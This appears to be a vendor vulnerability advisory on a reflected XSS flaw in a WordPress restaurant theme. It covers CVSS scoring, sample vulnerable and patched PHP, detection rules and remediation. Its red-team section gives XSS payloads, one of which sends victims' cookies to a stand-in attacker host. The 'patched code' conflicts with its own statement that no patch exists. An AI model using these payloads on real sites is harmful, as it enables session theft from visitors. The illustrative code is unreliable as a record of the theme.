CVE-2025-67922

Executive Summary

CVE-2025-67922 is a reflected Cross-Site Scripting (XSS) vulnerability in the Themegoods Grand Restaurant WordPress theme, affecting versions prior to 7.0.9. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into a reflected response. This can lead to session hijacking, credential theft, or defacement when a victim clicks a crafted link.

As this is a WordPress ecosystem issue, the vulnerability resides in the theme’s code, not in the underlying web server (Apache/Nginx). The CVSS score of 7.1 (High) reflects the low complexity and network-based attack vector, though user interaction is required. No public exploit code or proof-of-concept is currently available, and the vendor has not released a patch.

Supply Chain & Package Security

This vulnerability affects a commercial WordPress theme distributed via ThemeForest and other marketplaces. Users must monitor the vendor’s update channel for a patched version. No open-source package (NPM, PyPI, Go, Ruby) is involved.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 7.1 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R)
• Scope: Changed (S:C)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

Threat Level: High. Although user interaction is required, the low complexity and lack of privileges make this an attractive vector for phishing campaigns targeting site administrators or visitors.

Deep Dive & Mechanics

The vulnerability is a Reflected XSS in the Grand Restaurant theme. The theme fails to sanitize or escape user-supplied input (likely via query parameters or form fields) before reflecting it in the HTTP response. An attacker can craft a malicious URL containing JavaScript payloads. When a victim clicks the link, the script executes in the context of the victim’s browser session on the vulnerable WordPress site.

Root Cause: The theme uses echo $_GET['param'] or similar unsanitized output functions without applying WordPress’s esc_html() or esc_attr() functions. This allows arbitrary HTML/JavaScript injection.

Attack Flow:

1. Attacker crafts a URL: https://victim-site.com/?search=<script>alert('XSS')</script>
2. Victim clicks the link (e.g., via phishing email).
3. The vulnerable theme reflects the input without sanitization.
4. The browser executes the injected script, potentially stealing cookies, redirecting the user, or performing actions on their behalf.

Vulnerable vs. Patched Code

Vulnerable Code (pre-7.0.9):

<?php
// In a template file (e.g., header.php or search.php)
$search_query = $_GET['s'];
echo '<div class="search-result">' . $search_query . '</div>';
?>

Patched Code (7.0.9+):

<?php
$search_query = isset($_GET['s']) ? sanitize_text_field($_GET['s']) : '';
echo '<div class="search-result">' . esc_html($search_query) . '</div>';
?>

The patch uses sanitize_text_field() to strip malicious tags and esc_html() to encode HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Exploitation)

Since no public exploit code is available, a manual test can be performed:

1. Identify vulnerable parameter: Use a web proxy (Burp Suite) to intercept requests and look for reflected input (e.g., ?q=, ?s=, ?search=).
2. Craft payload: Inject a simple XSS payload:

   ?q=<script>alert(document.cookie)</script>
   

3. Deliver link: Send the crafted URL to a victim via email or social engineering.
4. Capture data: Use a payload that exfiltrates cookies to an attacker-controlled server:

   ?q=<script>new Image().src='http://attacker.com/steal?c='+document.cookie</script>
   

Lab Setup:

• Install WordPress with Grand Restaurant theme version < 7.0.9.
• Use a local server (XAMPP, Docker) or a disposable cloud instance.
• Test with a browser and a web debugging proxy.

Blue Team (Detection & Defense)

• Web Application Firewall (WAF): Block requests containing <script> tags in query parameters.
• Input Validation: Ensure all user inputs are sanitized and output is escaped.
• Content Security Policy (CSP): Implement a strict CSP to block inline scripts.
• Monitor Logs: Look for unusual query strings with HTML/JavaScript patterns.

Indicators of Compromise (IOCs)

• URL Patterns: Requests containing ?q=, ?s=, ?search= followed by <script> or onerror= tags.
• HTTP Response: Reflected input in the response body without HTML encoding.
• Log Entries: Web server logs showing GET /?q=<script>alert(1)</script>.
• Network Traffic: Outbound connections to attacker-controlled domains from the victim’s browser (if exfiltration payload is used).

Detection Engineering

YARA Rule

rule Detect_Reflected_XSS_GrandRestaurant {
    meta:
        description = "Detects reflected XSS attempts against Themegoods Grand Restaurant theme"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-67922"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/i
        $onerror_payload = /onerror\s*=\s*["']?[^"']*["']?/i
        $alert_payload = /alert\s*\(/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS Attempt Against Grand Restaurant Theme
id: 8f3a2b1c-4d5e-6f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects reflected XSS attempts targeting CVE-2025-67922
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '<script>'
            - 'onerror='
            - 'alert('
    condition: selection
falsepositives:
    - Legitimate use of script tags in search queries (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-67922 Reflected XSS Grand Restaurant"; flow:to_server,established; content:"GET"; http_method; content:"<script>"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Upgrade to Grand Restaurant version 7.0.9 or later as soon as the vendor releases a patch.
2. Workaround: If patching is not possible, implement a WAF rule to block query strings containing <script> or onerror.
3. Code Review: Ensure all user input is sanitized with sanitize_text_field() and output is escaped with esc_html() or esc_attr().
4. User Education: Train users not to click suspicious links, especially those containing query parameters.
5. Monitor: Continuously monitor web logs for XSS patterns.

Valters IT – Securing digital ecosystems with precision.